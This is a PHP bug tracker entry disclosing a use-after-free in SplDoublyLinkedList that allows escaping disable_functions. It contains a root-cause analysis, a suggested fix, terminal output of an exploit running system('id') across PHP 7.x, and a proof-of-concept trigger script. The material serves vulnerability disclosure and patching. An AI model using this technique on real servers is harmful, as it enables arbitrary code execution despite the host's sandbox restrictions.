|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2020-09-16 17:08 UTC] stas@php.net
-Type: Security
+Type: Bug
[2020-09-17 09:55 UTC] noamr at ssd-disclosure dot com
[2020-09-17 09:56 UTC] noamr at ssd-disclosure dot com
[2020-09-17 09:56 UTC] noamr at ssd-disclosure dot com
-Type: Bug
+Type: Security
-Private report: No
+Private report: Yes
[2020-09-17 09:56 UTC] noamr at ssd-disclosure dot com
[2020-09-17 11:07 UTC] cmb@php.net
[2020-09-17 11:07 UTC] cmb@php.net
-Type: Security
+Type: Bug
[2020-09-24 08:43 UTC] noamr at ssd-disclosure dot com
[2021-04-19 12:42 UTC] git@php.net
[2021-04-19 12:42 UTC] git@php.net
-Status: Open
+Status: Closed
|
|||||||||||||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sat Nov 01 00:00:01 2025 UTC |
Description: ------------ == Summary SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration. Said iteration is done by keeping a pointer to the "current" DLL element. You can then call next() or prev() to make the DLL point to another element. When you delete an element of the DLL, PHP will remove the element from the DLL, then destroy the zval, and finally clear the current ptr if it points to the element. Therefore, when the zval is destroyed, current is still pointing to the associated element, even if it was removed from the list. This allows for an easy UAF, because you can call $dll->next() or $dll->prev() in the zval's destructor. == Long version (MD) # Vulnerability Title PHP 5.3 <= 7.4+ SplDoublyLinkedList UAF leading to sandbox escape # High-level overview of the vulnerability and the possible effect of using it SplDoublyLinkedList is vulnerable to an UAF since it has been added to PHP's core (PHP 5.3, 2009), which allows to escape the PHP sandbox and execute code. Such exploits are generally used to bypass PHP limitations such as disable_functions, safe_mode, etc. # Exact product that was found to be vulnerable including complete version information PHP 5.3.0 to PHP 8.0 (alpha) are vulnerable, that is every PHP version since the creation of the class. The given exploit works for PHP7.x only, due to changes in internal PHP structures. # Root Cause Analysis ## Detailed description of the vulnerability SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration. Said iteration is done by keeping a pointer to the "current" DLL element. You can then call next() or prev() to make the DLL point to another element. When you delete an element of the DLL, PHP will remove the element from the DLL, then destroy the zval, and finally clear the current ptr if it points to the element. Therefore, when the zval is destroyed, current is still pointing to the associated element, even if it was removed from the list. This allows for an easy UAF, because you can call $dll->next() or $dll->prev() in the zval's destructor. ## Code flow from input to the vulnerable condition Check poc.php. We create an SplDoublyLinkedList object $s with two values; the first one is an object with a specific __destruct, and the other does not matter. We call $s->rewind() so that the iterator current element points to our object. When we call `$s->offsetUnset(0)`, it calls the underlying C function `SPL_METHOD(SplDoublyLinkedList, offsetUnset)` (in `ext/spl/spl_dllist.c`) which does the following: 1. remove the item from the doubly-linked list by setting `element->prev->next = element->next` `element->next->prev = element->prev` (effectively removing the item from the DLlist) 2. destroy the associated zval (`llist->dtor`) 3. if intern->traverse_pointer points to the element (which is the case), reset the pointer to NULL. On step 2, the `__destruct` method of our object is called. `intern->traverse_pointer` still points to the element. To trigger an UAF, we can do: 2. a. Remove the second element of the DLlist by calling `$s->offsetUnset(0)`. now, `intern->traverse_pointer->next` points to a freed location 2. b. Call `$s->next()`: this effectively does `intern->traverse_pointer = intern->traverse_pointer->next`. Since this was freed just above, traverse_pointer points to a freed location. 2. c. Using `$s->current()`, we can now access freed memory -> UAF ## Suggested fixes `intern->traverse_pointer` needs to be cleared before destroying the zval, and the reference can be deleted afterwards. Something like this would do: ```c was_traverse_pointer = 0; // Clear the current pointer if (intern->traverse_pointer == element) { intern->traverse_pointer = NULL; was_traverse_pointer = 1; } if(llist->dtor) { llist->dtor(element); } if(was_traverse_pointer) { SPL_LLIST_DELREF(element); } // In the current implementation, this part is useless, because // llist->dtor will UNDEF the zval before zval_ptr_dtor(&element->data); ZVAL_UNDEF(&element->data); SPL_LLIST_DELREF(element); ``` # Proof-of-Concept I added poc.php, which just demonstrates the UAF, and exploit.php, that exploits the bug to run `system('id');`. The exploit only targets versions 7.x, due to internal structure changes from version 5 to version 7 and 7 to 8. Just run `php exploit.php`, and it will execute `system("id");`, regardless of the values of `disable_function`, `safe_mode`, or any PHP sandbox hardening. Examples: ```js # Remove system from allowed functions $ php -d disable_functions=system -r 'system("id");' PHP Warning: system() has been disabled for security reasons in Command line code on line 1 # Run the exploit $ php -d disable_functions=system SplDoublyLinkedList/exploit.php Address of first RW chunk: 0x7f530e4c3758 Leaked zval_ptr_dtor address: 0x55ed95429220 Got PHP_FUNCTION(system): 0x55ed95366200 Replaced zend_closure by the fake one: 0x7f530e46d298 Running system("id"); uid=1000(cf) gid=1000(cf) groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd) DONE # Run the exploit on php7.0 $ php7.0 -d disable_functions=system SplDoublyLinkedList/exploit.php Address of first RW chunk: 0x7fe40f8b8848 Leaked zval_ptr_dtor address: 0x561d774906e0 Got PHP_FUNCTION(system): 0x561d773e30a0 Replaced zend_closure by the fake one: 0x7fe40f863c98 Running system("id"); uid=1000(cf) gid=1000(cf) groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd) DONE # Run the exploit on php7.1 $ php7.1 -d disable_functions=system SplDoublyLinkedList/exploit.php Address of first RW chunk: 0x7f8094eb8820 Leaked zval_ptr_dtor address: 0x55d889299ff0 Got PHP_FUNCTION(system): 0x55d8891e7570 Replaced zend_closure by the fake one: 0x7f8094e64c98 Running system("id"); uid=1000(cf) gid=1000(cf) groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd) DONE # Run the exploit on php7.2 $ php7.2 -d disable_functions=system SplDoublyLinkedList/exploit.php Address of first RW chunk: 0x7ff7ba6c1820 Leaked zval_ptr_dtor address: 0x559a53c3bd40 Got PHP_FUNCTION(system): 0x559a53b80200 Replaced zend_closure by the fake one: 0x7ff7ba66cc98 Running system("id"); uid=1000(cf) gid=1000(cf) groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd) DONE # Run the exploit on php7.3 $ php7.3 -d disable_functions=system SplDoublyLinkedList/exploit.php Address of first RW chunk: 0x7f2cb60c3758 Leaked zval_ptr_dtor address: 0x563a044792b0 Got PHP_FUNCTION(system): 0x563a043b76a0 Replaced zend_closure by the fake one: 0x7f2cb606c298 Running system("id"); uid=1000(cf) gid=1000(cf) groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd) DONE # Run the exploit on php7.4 $ php7.4 -d disable_functions=system SplDoublyLinkedList/exploit.php Address of first RW chunk: 0x7f358bec3758 Leaked zval_ptr_dtor address: 0x555d6943c220 Got PHP_FUNCTION(system): 0x555d69379200 Replaced zend_closure by the fake one: 0x7f358be6d298 Running system("id"); uid=1000(cf) gid=1000(cf) groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd) DONE ``` Test script: --------------- <?php /* */ function i2s(&$s, $p, $i, $x=8) { for($j=0;$j<$x;$j++) { $s[$p+$j] = chr($i & 0xff); $i >>= 8; } } class Trigger { function __destruct() { global $s, $b; # Add a reference afterwards //$v = new SplDoublyLinkedList(); //$v->setIteratorMode(SplDoublyLinkedList::IT_MODE_DELETE); # Remove element #2 from the list: this has no effect on # intern->traverse_pointer, since it is removed from the list already # The element, along with the zval, is freed unset($s[0]); $a = str_shuffle(str_repeat('A', 40-24-1)); # Build a fake zval (long, value: 12345678) i2s($a, 0x00, 12345678); # ptr i2s($a, 0x08, 4, 7); # type: long var_dump($s->current()); $s->next(); # The value is our fake zval var_dump($s->current()); print_r('DONE'."\n"); } } # Create a 3-item dllist $s = new SplDoublyLinkedList(); # This is the UAF trigger $s->push(new Trigger()); #$b = &$a; $s->push(3); # Points intern->traverse_pointer to our object element $s->rewind(); #$s->next(); # calls SplDoublyLinkedList::offsetUnset, which will remove the element from the # dllist, and then destruct the object, before clearing traverse_pointer unset($s[0]);